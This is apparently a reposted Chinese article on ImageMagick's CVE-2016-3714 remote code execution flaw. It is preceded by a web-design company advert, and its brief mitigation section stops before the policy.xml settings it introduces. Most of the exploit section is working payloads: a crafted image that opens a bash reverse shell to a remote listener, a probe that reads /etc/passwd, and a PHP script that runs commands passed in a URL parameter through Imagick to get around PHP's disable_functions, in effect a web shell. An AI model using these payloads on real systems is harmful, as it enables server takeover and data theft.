新聞中心
1.1ImageMagick簡(jiǎn)介

成都創(chuàng)新互聯(lián)公司專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于成都做網(wǎng)站、成都網(wǎng)站設(shè)計(jì)、菏澤網(wǎng)絡(luò)推廣、小程序設(shè)計(jì)、菏澤網(wǎng)絡(luò)營(yíng)銷(xiāo)、菏澤企業(yè)策劃、菏澤品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運(yùn)營(yíng)等,從售前售中售后,我們都將竭誠(chéng)為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);成都創(chuàng)新互聯(lián)公司為所有大學(xué)生創(chuàng)業(yè)者提供菏澤建站搭建服務(wù),24小時(shí)服務(wù)熱線:13518219792,官方網(wǎng)址:www.cdcxhl.com
1. ImageMagick簡(jiǎn)介
ImageMagick是一套功能強(qiáng)大、穩(wěn)定而且開(kāi)源的工具集和開(kāi)發(fā)包,可以用來(lái)讀、寫(xiě)和處理超過(guò)89種基本格式的圖片文件,包括流行的TIFF、JPEG、GIF、 PNG、PDF以及PhotoCD等格式。利用ImageMagick,你可以根據(jù)web應(yīng)用程序的需要?jiǎng)討B(tài)生成圖片, 還可以對(duì)一個(gè)(或一組)圖片進(jìn)行改變大小、旋轉(zhuǎn)、銳化、減色或增加特效等操作,并將操作的結(jié)果以相同格式或其它格式保存,對(duì)圖片的操作,即可以通過(guò)命令行進(jìn)行,也可以用C/C++、Perl、Java、PHP、Python或Ruby編程來(lái)完成。同時(shí)ImageMagick提供了一個(gè)高質(zhì)量的2D工具包,部分支持SVG。ImageMagic的主要精力集中在性能,減少bug以及提供穩(wěn)定的API和ABI上,其官方站點(diǎn)為http://www.imagemagick.org/。
ImageMagick 是一個(gè)用來(lái)創(chuàng)建、編輯、合成圖片的軟件。它可以讀取、轉(zhuǎn)換、寫(xiě)入多種格式的圖片。圖片切割、顏色替換、各種效果的應(yīng)用,圖片的旋轉(zhuǎn)、組合,文本,直線, 多邊形,橢圓,曲線,附加到圖片伸展旋轉(zhuǎn)。ImageMagick是免費(fèi)軟件:全部源碼開(kāi)放,可以自由使用,復(fù)制,修改,發(fā)布。支持大多數(shù)的操作系統(tǒng)。
2. ImageMagick主要功能
(1)將圖片從一個(gè)格式轉(zhuǎn)換到另一個(gè)格式,包括直接轉(zhuǎn)換成圖標(biāo)。
(2)改變尺寸、旋轉(zhuǎn)、銳化(sharpen)、減色、圖片特效
(3)縮略圖片的合成圖( a montage of image thumbnails)
(4) 適于web的背景透明的圖片
(5)將一組圖片作成gif動(dòng)畫(huà),直接convert
(6) 將幾張圖片作成一張組合圖片,montage
(7)在一個(gè)圖片上寫(xiě)字或畫(huà)圖形,帶文字陰影和邊框渲染。
(8) 給圖片加邊框或框架
(9)取得一些圖片的特性信息
(10)幾乎包括了gimp可以作到的常規(guī)插件功能。甚至包括各種曲線參數(shù)的渲染功能。只是那命令的寫(xiě)法,夠復(fù)雜。
ImageMagick幾乎可以在任何非專有的操作系統(tǒng)上編譯,無(wú)論是32位還是64位的CPU,包括LINUX,Windows '95/'98/ME/NT 4.0/2000/XP,Macintosh (MacOS 9 /10), VMS 和 OS/2.
1.2ImageMagick(CVE-2016-3714)遠(yuǎn)程執(zhí)行漏洞分析
ImageMagick(CVE-2016-3714)遠(yuǎn)程執(zhí)行漏洞產(chǎn)生原因是因?yàn)樽址^(guò)濾不嚴(yán)謹(jǐn)所導(dǎo)致的執(zhí)行代碼. 對(duì)于文件名傳遞給后端的命令過(guò)濾不足,導(dǎo)致允許多種文件格式轉(zhuǎn)換過(guò)程中遠(yuǎn)程執(zhí)行代碼。
影響版本范圍:
- ImageMagick6.5.7-8 2012-08-17
- ImageMagick6.7.7-10 2014-03-06
- 低版本至6.9.3-9 released 2016-04-30
1.3可利用POC測(cè)試
1.實(shí)驗(yàn)環(huán)境
Centos5.8+ ImageMagick 6.2.8
2.安裝步驟
在centos中默認(rèn)安裝是ImageMagick 6.2.8,本次安裝6.7.7-10版本。
- yumremove ImageMagick
- wget http://www.imagemagick.org/download/releases/ImageMagick-6.5.7-10.tar.xz
- tar xvJf ImageMagick-6.5.7-10.tar.xz
- cd ImageMagick-6.5.7-10
- ./configure
- make
- make install
注意:tar.xz的文件需要先使用7zip解壓為tar文件,然后再使用tar-zxvf進(jìn)行解壓。
3.生成反彈shell的png文件
先構(gòu)建一個(gè)精心準(zhǔn)備的圖片,將以下內(nèi)容保存為sh.png,其中122.115.4x.3x為反彈到監(jiān)聽(tīng)端口的服務(wù)器,監(jiān)聽(tīng)端口為4433。
- pushgraphic-context
- viewbox 0 0640 480
- fill'url(https://example.com/image.jpg"|bash -i >& /dev/tcp/122.115.4x.3x/44330>&1")'
4.執(zhí)行命令
在執(zhí)行命令前,需要在反彈服務(wù)器上執(zhí)行“nc -vv -l -p 4433”命令。執(zhí)行“convert sh.png 1.png”后,終端會(huì)沒(méi)有反應(yīng),直到反彈shell退出以后,如圖1所示。
圖1執(zhí)行convert命令
4.獲取反彈shell
執(zhí)行convert命令后,會(huì)根據(jù)網(wǎng)絡(luò)情況,在監(jiān)聽(tīng)服務(wù)器上會(huì)延遲數(shù)秒,如圖2所示,直接獲取反彈webshell。
圖2獲取反彈webshell
在反彈shell中終止后,會(huì)顯示錯(cuò)誤信息,如圖3所示。
圖3顯示錯(cuò)誤信息
1.4總結(jié)與探討
1.本地漏洞存在exp測(cè)試
(1)構(gòu)建exp.png
- pushgraphic-context
- viewbox 0 0640 480
- fill'url(https://example.com/image.jpg"|id & cat /etc/passwd")'
- popgraphic-context
(2)執(zhí)行exp獲取id和查看passwd文件
在終端模式中執(zhí)行convert exp.png 1.png后會(huì)顯示ID和passwd中的內(nèi)容,如圖4所示,這說(shuō)明漏洞存在。
圖4執(zhí)行exp檢測(cè)漏洞
2.利用ImageMagick漏洞繞過(guò)disable_function
將以下代碼保存為exp.php
- echo"Disable Functions: " . ini_get('disable_functions') ."\n";
- $command =PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
- if ($command== '') {
- $command = 'id';
- }
- $exploit =<<
- pushgraphic-context
- viewbox 0 0640 480
- fill'url(https://example.com/image.jpg"|$command")'
- popgraphic-context
- EOF;
- file_put_contents("KKKK.mvg",$exploit);
- $thumb = newImagick();
- $thumb->readImage('KKKK.mvg');
- $thumb->writeImage('KKKK.png');
- $thumb->clear();
- $thumb->destroy();
- unlink("KKKK.mvg");
- unlink("KKKK.png");
- ?>
3、防范方法
目前官方的最新修復(fù)補(bǔ)丁版本還未能出來(lái),所以暫時(shí)建議做以下兩種預(yù)防策略:
(1)在上傳圖片時(shí)需要通過(guò)文件內(nèi)容來(lái)判斷用戶上傳的是否為真實(shí)圖片類型。
處理圖片前,先檢查圖片的 “magic bytes”,也就是圖片頭,如果圖片頭不是你想要的格式,那么就不調(diào)用ImageMagick處理圖片。如果你是php用戶,可以使用getimagesize函數(shù)來(lái)檢查圖片格式,而如果你是wordpress等web應(yīng)用的使用者,可以暫時(shí)卸載ImageMagick,使用php自帶的gd庫(kù)來(lái)處理圖片。
(2)使用策略配置文件來(lái)禁用ImageMagick的有風(fēng)險(xiǎn)的編碼器
對(duì)于ImageMagick全局策略配置文件在/etc/ImageMagick下對(duì)policy.xml最后一行進(jìn)行增加下列配置:
當(dāng)前名稱:ImageMagick遠(yuǎn)程執(zhí)行漏洞分析及利用
轉(zhuǎn)載注明:http://m.fisionsoft.com.cn/article/codjsed.html


咨詢
建站咨詢
